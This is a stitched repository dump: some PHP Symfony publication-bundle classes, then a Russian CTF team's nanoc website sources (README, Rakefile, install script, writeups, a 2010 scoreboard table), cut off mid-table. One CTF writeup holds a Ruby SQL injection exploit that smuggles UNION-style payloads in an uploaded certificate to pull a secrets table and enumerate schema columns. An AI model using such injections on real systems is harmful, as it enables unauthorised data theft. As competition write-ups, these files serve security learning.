->applyBaseFilter($current->getPublicationTypeKey())
->filterByCreatedAt($current->getCreatedAt(), $comparison)
->applySorting($comparison == \Criteria::GREATER_THAN ? \Criteria::ASC : \Criteria::DESC)
->findWithLimit($limit)
;
}
}<file_sep><?php
namespace Fenrizbes\PublicationsBundle\Model;
use Fenrizbes\PublicationsBundle\Model\om\BasePublication;
class Publication extends BasePublication
{
/**
* Проверяем видимость новости для посетителей
* @return bool
* @throws \PropelException
*/
public function getIsVisible()
{
if ($this->getIsPublished() && $this->getCreatedAt() <= new \DateTime('now')) {
return true;
}
return false;
}
}
<file_sep><?php
namespace Fenrizbes\PublicationsBundle\Admin;
use Sonata\AdminBundle\Admin\Admin;
use Sonata\AdminBundle\Datagrid\ListMapper;
use Sonata\AdminBundle\Route\RouteCollection;
use Symfony\Component\Validator\Constraints\Length;
class PublicationTypeAdmin extends Admin
{
protected $baseRouteName = 'fenrizbes_publication_type';
protected $baseRoutePattern = '/fenrizbes/publication';
/**
* {@inheritdoc}
*/
protected $datagridValues = array(
'_sort_order' => 'ASC',
'_sort_by' => 'Title'
);
/**
* {@inheritdoc}
*/
protected function configureRoutes(RouteCollection $collection)
{
parent::configureRoutes($collection);
$collection
->remove('create')
->remove('edit')
->remove('show')
->remove('export')
->remove('delete')
;
}
/**
* {@inheritdoc}
*/
protected function configureListFields(ListMapper $listMapper)
{
$listMapper
->add('Title', null, array(
'label' => 'fp.label.admin.publication_type.title',
'template' => 'FenrizbesPublicationsBundle:Admin/PublicationType:list_title.html.twig'
))
->add('Key', null, array(
'label' => 'fp.label.admin.publication_type.key'
))
;
}
}
<file_sep><?php
namespace Fenrizbes\PublicationsBundle\Model;
use Fenrizbes\PublicationsBundle\Model\om\BasePublicationTypeQuery;
class PublicationTypeQuery extends BasePublicationTypeQuery
{
}
| 57cc716e3c4ab24110767e5736a3fef73b030e19 | [
"Markdown",
"PHP"
] | 11 | PHP | it-blaster/publications-bundle | 1d01e18526ad8b6e6e6f319c5f9cb1a6e8ccff80 | 8f5dbc25e3f6926b10e16a517f042d9397d847c4 |
refs/heads/master | <file_sep>Сайт Lobotomy Team
-------------
Ставим на локалхост
======================
1. Если хотите доступ на запись - скажите чтобы я (zed) добавил вас в Collaborators этой репы, для этого вам нужен акк на гитхабе (примечание: **форкать эту репу НЕ НУЖНО**)
2. Выполнить следующее
<pre>
git clone <EMAIL>:zed-0xff/lobotomy.git
cd lobotomy
sh install.sh
</pre>
Пишем врайтап
=============
0. `git pull` чтобы подтянуть все что обновилось в репе
1. `rake writeups:new`
2. Программа спросит <tt>Writeup title</tt> и <tt>Writeup format ([md](http://daringfireball.net/projects/markdown/syntax),[textile](http://www.textism.com/tools/textile/),html,[erb](http://en.wikipedia.org/wiki/ERuby),[haml](http://haml.info/)) (default: md)</tt>
3. Программа запустит ваш любимый `$EDITOR` со свежесозданным файлом
4. Пишем врайтап
5. `rake compile` (или просто `rake`)
6. Радуемся что нет ошибок и проверяем в каталоге `output` что получилось
7. `rake deploy` - деплоим на вебсервер, на вебсервере должен уже быть ваш SSH паблик кей, иначе ничего не выйдет
8. `git commit`, тщательно выбираем что коммитить, `git push`
---
### Примечания
* Для проверки можно запустить локальный `rake server` на порту 3000
* [pygments](http://pygments.org/) - это библиотека раскраски тэгов <code>, есть в портах/пакетах любого *nix дистра, ставить средствами дистра
---
### Преимущества платформы
1. Легкость
2. Отсутствие привязки к какой-либо платформе или фреймворку
3. Надежность хранения статей
### Credits
* http://nanoc.stoneship.org/
* thanks to http://metaskills.net/ for design
<file_sep>module Nanoc3
class Item
def writeup?
if attributes[:categories]
attributes[:categories].include?('writeup') || attributes[:categories].include?('writeups')
else
identifier['writeup']
end
end
def achievement?
if attributes[:categories]
attributes[:categories].include?('achievement') || attributes[:categories].include?('achievements')
else
identifier['place/']
end
end
def level
identifier[1..-2].count('/')
end
end
end
<file_sep>---
title: PHDays2012 quals - pwn100 writeup
author: zed
categories:
- writeup
---
simple SQL injection
~~~
#!ruby
def upload
# XXX: get session id from your browser cookies!
# (or tcpdump :)
session="dZnITNS/joMp0wM77YcdgGkTNLc=?user_id=TDcxOUwKLg=="
cmd = 'curl -s -F "key=@ca.tmp;type=application/x-x509-ca-cert" http://ctf.phdays.com:3185/'
cmd << %Q| -b "session=#{session}"'|
`#{cmd}`.strip
end
# self generated certificate, required for task
PEM = File.read("ca.crt")
def attack payload
File.open("ca.tmp","wb") do |f|
f << PEM
f << payload
end
r = upload
puts r
end
## to insert my own certificate into admin's:
#pem = PEM.gsub("\n","\\n")
#attack "'),(1,'#{pem}'); /* '"
#attack "'),(719,(SELECT group_concat(column_name) FROM INFORMATION_SCHEMA.columns where table_name='secrets')); /* '"
attack "'),(719,(SELECT flag from secrets)); /* '"
~~~
flag: 4478b5f760f9c8ef14d6892b82eebd57
#### related links
* [Zed's PHDays 2012 files & exploits](https://github.com/zed-0xff/ctf/tree/master/2012.phdays-quals)
<file_sep>require 'rubygems'
require 'nanoc3/tasks'
task :default => :compile
desc "compile site"
task :compile do
require 'nanoc3/cli'
Nanoc3::CLI.run ["compile"]
end
desc "run a local server"
task :server => :compile do
require 'nanoc3/cli'
Nanoc3::CLI.run ["view"]
end
desc "deploy to server"
task :deploy => :compile do
ssh_host = ENV['SSH_HOST'] || raise
ssh_port = ENV['SSH_PORT']
remote_path = ENV['REMOTE_PATH'] || raise
if ssh_port
ssh_port = "-e 'ssh -p#{ssh_port}'"
end
system "rsync -avz --progress #{ssh_port} output/ #{ssh_host}:#{remote_path}"
end
def new_post type = 'Post', params = {}
require 'yaml'
title = ENV['title'] ||
begin
print "[.] #{type} title: "
$stdin.gets.chomp.strip
end
format = ENV['format'] ||
begin
print "[.] #{type} format (md,textile,html,erb,haml) (default: md) : "
$stdin.gets.chomp.strip
end
date = ENV['date'] ? Time.parse(ENV['date']) : Time.now
format.strip!
format = 'md' if format.empty?
name = title.gsub(/\s+/, '-')
name = name.gsub(/[^a-zA-Z0-9_-]/, "").downcase
time = date.strftime("%Y-%m-%d")
dir = "content/#{time}-#{name}"
Dir.mkdir(dir) unless Dir.exist?(dir)
fname = "#{dir}/index.#{format}"
raise "#{fname} already exists!" if File.exist?(fname)
File.open(fname, "w+") do |f|
f << {'title' => title, 'author' => ENV['USER']}.merge(params).to_yaml
f << "---\n\n"
end
puts "[=] Created #{fname}"
puts "[.] Place this post assets (images, binaries, etc) in #{dir}/"
fname
end
def launch_editor fname
editor = ENV['EDITOR']
case editor
when nil,''
puts "[!] no EDITOR env variable set! please edit #{fname} manually"
when /vim/
# place cursor on last line in vim
system editor, fname, "+99"
else
system editor, fname
end
end
namespace :posts do
desc "Create new post"
task :new do
launch_editor new_post
end
task :move2dirs do
require 'fileutils'
Dir['content/????-??-??-*.*'].each do |fname|
a = fname.split('.')
raise unless a.size == 2
dir,ext = a
Dir.mkdir dir
FileUtils.mv fname, File.join(dir, "index.#{ext}")
end
end
end
namespace :writeups do
desc "Create new writeup"
task :new do
launch_editor new_post('Writeup', 'categories' => ['writeup'])
end
end
task :sass do
infile = "_sass/site.scss"
outfile = "content/resource/site.css"
data = '@charset "UTF-8";'
data << `sass --scss #{infile} --style compressed`
data.gsub!(' px','px ') # fix weird sass bug
File.open(outfile,'w'){ |f| f << data }
end
<file_sep>source "https://rubygems.org"
gem 'adsf'
gem 'coderay'
gem 'haml'
gem 'kramdown'
gem 'nanoc3', '3.2.4'
gem 'nokogiri'
gem 'rake'
gem 'RedCloth'
gem 'systemu'
<file_sep>#!/bin/sh
# required gems
GEMS="nanoc3 RedCloth coderay systemu kramdown haml nokogiri adsf"
# common packages to install in all distros
PKGS=
#################################################################
askrun(){
echo
while true; do
echo -n "run \"$CMD\" [Y/n]?"
read INPUT
[ -z $INPUT ] && INPUT=y
case $INPUT in
[Yy]* ) echo running...; $CMD; break;;
[Nn]* ) break;;
esac
done
}
command -v gem >/dev/null 2>&1 || PKGS="$PKGS rubygems"
# installing packages
CMD=
if [ -f /etc/gentoo-release -a -x /usr/bin/emerge ]; then
echo "[.] Gentoo detected"
command -v pygmentize >/dev/null 2>&1 || PKGS="$PKGS pygments"
[ -n "$PKGS" ] && CMD="emerge -tva ${PKGS# }"
elif [ -f /etc/lsb-release -a -x /usr/bin/apt-get ]; then
echo "[.] Ubuntu detected"
command -v pygmentize >/dev/null 2>&1 || PKGS="$PKGS python-pygments"
PKGS="$PKGS libxml2-dev libxslt1-dev"
[ -n "$PKGS" ] && CMD="apt-get install ${PKGS# }"
else
echo "[?] could not detect distro"
echo
if ! command -v pygmentize >/dev/null 2>&1; then
# 'pygmentize' command absent
echo "Please install 'pygments' app from your distro repository for syntax hilite"
fi
if ! command -v gem >/dev/null 2>&1; then
# 'gem' command absent
echo "Please install 'rubygems' app from your distro repository and rerun this script"
echo "or manually install following gems: $GEMS"
exit 1
fi
fi
if [ -n "$CMD" ]; then
[ $USER != root ] && CMD="sudo $CMD"
askrun
fi
# installing gems
CMD="gem install $GEMS --no-ri --no-rdoc"
if [ $USER != root ]; then
while true; do
echo
echo "using sudo will install gems system-wide"
echo "NOT using sudo will install gems for current user only"
read -p "use sudo when installing gems [Y/n]?" INPUT
[ -z $INPUT ] && INPUT=y
case $INPUT in
[Yy]* ) CMD="sudo $CMD"; break;;
[Nn]* ) break;;
esac
done
fi
askrun
<file_sep>---
title: HACKYOU CTF 2012 -- crypto 100
author: alter
categories:
- writeup
---

Just read this text from another side(find word "HACK" there) !
flag: HACKYOUISTHEBESTESTCTFFTW
<file_sep>def prepare_nested_layouts layouts
layouts_by_name = Hash[*layouts.map{|l| [l.identifier.tr('/',''),l] }.flatten]
layouts.each do |layout|
if parent_name = layout.attributes[:layout]
# puts "[.] layout #{layout.identifier} needs a parent #{parent_name.inspect}"
unless parent_layout = layouts_by_name[parent_name]
raise "unknown parent layout #{parent_name.inspect}"
end
# HACK #1
new_raw_content = parent_layout.raw_content.gsub(/<%=\s*yield\s*%>/, layout.raw_content)
raise "cannot find '<%= yield %>' in parent layout" if new_raw_content == parent_layout.raw_content
# HACK #2
layout.instance_variable_set('@raw_content',new_raw_content)
end
end
end
<file_sep>---
title: LeetMore CTF 2010 - 2nd place
author: zed
---
<table width="100%" cellpadding="5" cellspacing="5">
<tbody><tr><th></th>
<td><b>#</b></td>
<td><b>Team name</b></td>
<td><b>Country</b></td>
<td><b>Time spent</b></td>
<td><b>TOTAL</b></td>
</tr><tr>
<td></td>
<td align="right">1.</td><td>
<a id="blackbox-info-toggle">
Nibbles</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Nibbles, France</i></td>
<td>23:30:24</td>
<td>2700</td>
</tr>
<tr style="background-color: #0a0">
<td></td>
<td align="right">2.</td><td>
<a id="blackbox-info-toggle">
[Lobotomy]</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>nothing =), Russia</i></td>
<td>22:10:25</td>
<td>2400</td>
</tr>
<tr>
<td></td>
<td align="right">3.</td><td>
<a id="blackbox-info-toggle">
bkitsex</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>hcmc university of technology, Other</i></td>
<td>22:53:24</td>
<td>2300</td>
</tr>
<tr>
<td></td>
<td align="right">4.</td><td>
<a id="blackbox-info-toggle">
HackerDom</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Ural State University , Russia</i></td>
<td>20:49:05</td>
<td>2200</td>
</tr>
<tr>
<td></td>
<td align="right">5.</td><td>
<a id="blackbox-info-toggle">
WildRide</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>CSU, Russia</i></td>
<td>22:14:05</td>
<td>1900</td>
</tr>
<tr>
<td></td>
<td align="right">6.</td><td>
<a id="blackbox-info-toggle">
Juff Panda</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>TSU, Russia</i></td>
<td>15:18:03</td>
<td>1600</td>
</tr>
<tr>
<td></td>
<td align="right">7.</td><td>
<a id="blackbox-info-toggle">
ENOFLAG</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Technische Universitaet Berlin, Germany</i></td>
<td>19:47:34</td>
<td>1600</td>
</tr>
<tr>
<td></td>
<td align="right">8.</td><td>
<a id="blackbox-info-toggle">
int3pids</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>none, Other</i></td>
<td>18:45:40</td>
<td>1500</td>
</tr>
<tr>
<td></td>
<td align="right">9.</td><td>
<a id="blackbox-info-toggle">
Chocolate Makers</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Universita` degli Studi di Milano, Italy</i></td>
<td>15:43:47</td>
<td>1100</td>
</tr>
<tr>
<td></td>
<td align="right">10.</td><td>
<a id="blackbox-info-toggle">
THC</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Twente Univesiteit, Other</i></td>
<td>15:44:38</td>
<td>1100</td>
</tr>
<tr>
<td></td>
<td align="right">11.</td><td>
<a id="blackbox-info-toggle">
Smoked Chicken</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>SUSU, Russia</i></td>
<td>18:31:27</td>
<td>1100</td>
</tr>
<tr>
<td></td>
<td align="right">12.</td><td>
<a id="blackbox-info-toggle">
Kernel Sanders</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>University of Florida, USA</i></td>
<td>23:15:10</td>
<td>1100</td>
</tr>
<tr>
<td></td>
<td align="right">13.</td><td>
<a id="blackbox-info-toggle">
ddd</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>none, USA</i></td>
<td>19:25:22</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td align="right">14.</td><td>
<a id="blackbox-info-toggle">
Zaza</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i> Other</i></td>
<td>20:08:47</td>
<td>900</td>
</tr>
<tr>
<td></td>
<td align="right">15.</td><td>
<a id="blackbox-info-toggle">
InVaR</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>SFU, Russia</i></td>
<td>22:02:51</td>
<td>700</td>
</tr>
<tr>
<td></td>
<td align="right">16.</td><td>
<a id="blackbox-info-toggle">
Koibasta</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>SSAU, Russia</i></td>
<td>09:18:59</td>
<td>500</td>
</tr>
<tr>
<td></td>
<td align="right">17.</td><td>
<a id="blackbox-info-toggle">
VLGU</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Vladimir State University, Russia</i></td>
<td>12:06:22</td>
<td>400</td>
</tr>
<tr>
<td></td>
<td align="right">18.</td><td>
<a id="blackbox-info-toggle">
stgm2</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>stgm2, Other</i></td>
<td>15:21:31</td>
<td>400</td>
</tr>
<tr>
<td></td>
<td align="right">19.</td><td>
<a id="blackbox-info-toggle">
gn00bz</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>gn00bz, Croatia</i></td>
<td>17:55:07</td>
<td>400</td>
</tr>
<tr>
<td></td>
<td align="right">20.</td><td>
<a id="blackbox-info-toggle">
painsec</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>painsec, Other</i></td>
<td>22:08:23</td>
<td>400</td>
</tr>
<tr>
<td></td>
<td align="right">21.</td><td>
<a id="blackbox-info-toggle">
Back2Hack</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Back2Hack, Germany</i></td>
<td>07:32:20</td>
<td>300</td>
</tr>
<tr>
<td></td>
<td align="right">22.</td><td>
<a id="blackbox-info-toggle">
zenk</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>test, France</i></td>
<td>09:51:20</td>
<td>300</td>
</tr>
<tr>
<td></td>
<td align="right">23.</td><td>
<a id="blackbox-info-toggle">
0day</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>PSTU, Russia</i></td>
<td>11:49:28</td>
<td>300</td>
</tr>
<tr>
<td></td>
<td align="right">24.</td><td>
<a id="blackbox-info-toggle">
HQS</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Syktyvkar Federal University, Russia</i></td>
<td>00:33:30</td>
<td>200</td>
</tr>
<tr>
<td></td>
<td align="right">25.</td><td>
<a id="blackbox-info-toggle">
NetC@ts</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Ural Federal University, Russia</i></td>
<td>00:50:02</td>
<td>200</td>
</tr>
<tr>
<td></td>
<td align="right">26.</td><td>
<a id="blackbox-info-toggle">
PeterPEN</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>SPbSU, Russia</i></td>
<td>01:43:08</td>
<td>200</td>
</tr>
<tr>
<td></td>
<td align="right">27.</td><td>
<a id="blackbox-info-toggle">
Pofig</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i> Other</i></td>
<td>05:21:23</td>
<td>200</td>
</tr>
<tr>
<td></td>
<td align="right">28.</td><td>
<a id="blackbox-info-toggle">
[Censored]</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>IKSUR, Russia</i></td>
<td>08:04:28</td>
<td>200</td>
</tr>
<tr>
<td></td>
<td align="right">29.</td><td>
<a id="blackbox-info-toggle">
Paralleles</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>USU, Russia</i></td>
<td>09:19:15</td>
<td>200</td>
</tr>
<tr>
<td></td>
<td align="right">30.</td><td>
<a id="blackbox-info-toggle">
prostokvashino</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>none, Russia</i></td>
<td>10:25:24</td>
<td>200</td>
</tr>
<tr>
<td></td>
<td align="right">31.</td><td>
<a id="blackbox-info-toggle">
SYPER</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>University Naional of La Plata, Argentina</i></td>
<td>14:06:18</td>
<td>200</td>
</tr>
<tr>
<td></td>
<td align="right">32.</td><td>
<a id="blackbox-info-toggle">
Digital Intercept</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Digital Intercept, USA</i></td>
<td>21:45:51</td>
<td>200</td>
</tr>
<tr>
<td></td>
<td align="right">33.</td><td>
<a id="blackbox-info-toggle">
FluffyMagicRainbowKi</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i> Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">34.</td><td>
<a id="blackbox-info-toggle">
2010</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>2010, Korea</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">35.</td><td>
<a id="blackbox-info-toggle">
RIC</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Community, Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">36.</td><td>
<a id="blackbox-info-toggle">
D.A.L.B.O</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>pwn, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">37.</td><td>
<a id="blackbox-info-toggle">
hopeless</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>FESTU, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">38.</td><td>
<a id="blackbox-info-toggle">
PSW</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>none, France</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">39.</td><td>
<a id="blackbox-info-toggle">
no</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>no, Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">40.</td><td>
<a id="blackbox-info-toggle">
pwnstars</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>USofA, USA</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">41.</td><td>
<a id="blackbox-info-toggle">
sec0d</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>sec0d, France</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">42.</td><td>
<a id="blackbox-info-toggle">
Haxistan</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Cooperate Education Internet, Germany</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">43.</td><td>
<a id="blackbox-info-toggle">
grape</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>none, Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">44.</td><td>
<a id="blackbox-info-toggle">
THG</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>University, Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">45.</td><td>
<a id="blackbox-info-toggle">
BIOS</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>International Institute of Information Technology, India</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">46.</td><td>
<a id="blackbox-info-toggle">
antichat</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>none, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">47.</td><td>
<a id="blackbox-info-toggle">
NULL Labs</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>NULL, Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">48.</td><td>
<a id="blackbox-info-toggle">
Lizzy</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>SecurityFirst, Korea</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">49.</td><td>
<a id="blackbox-info-toggle">
0ldEur0pe</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>RWTH Aachen University, Germany</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">50.</td><td>
<a id="blackbox-info-toggle">
t0ughg44ks</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>t0ughg44ks, Korea</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">51.</td><td>
<a id="blackbox-info-toggle">
Ka\\/@Bunga</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Saratov Social-Economic State University, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">52.</td><td>
<a id="blackbox-info-toggle">
endian pale ale</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>EPA, USA</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">53.</td><td>
<a id="blackbox-info-toggle">
Big-Daddy</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>big-daddy, France</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">54.</td><td>
<a id="blackbox-info-toggle">
Zero</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>zz, Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">55.</td><td>
<a id="blackbox-info-toggle">
OSTeam</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>gjf, Korea</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">56.</td><td>
<a id="blackbox-info-toggle">
WCSC</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>WCSC, USA</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">57.</td><td>
<a id="blackbox-info-toggle">
Bushwhackers</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>MSU, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">58.</td><td>
<a id="blackbox-info-toggle">
Anow</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Anow, Korea</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">59.</td><td>
<a id="blackbox-info-toggle">
cKz</a>
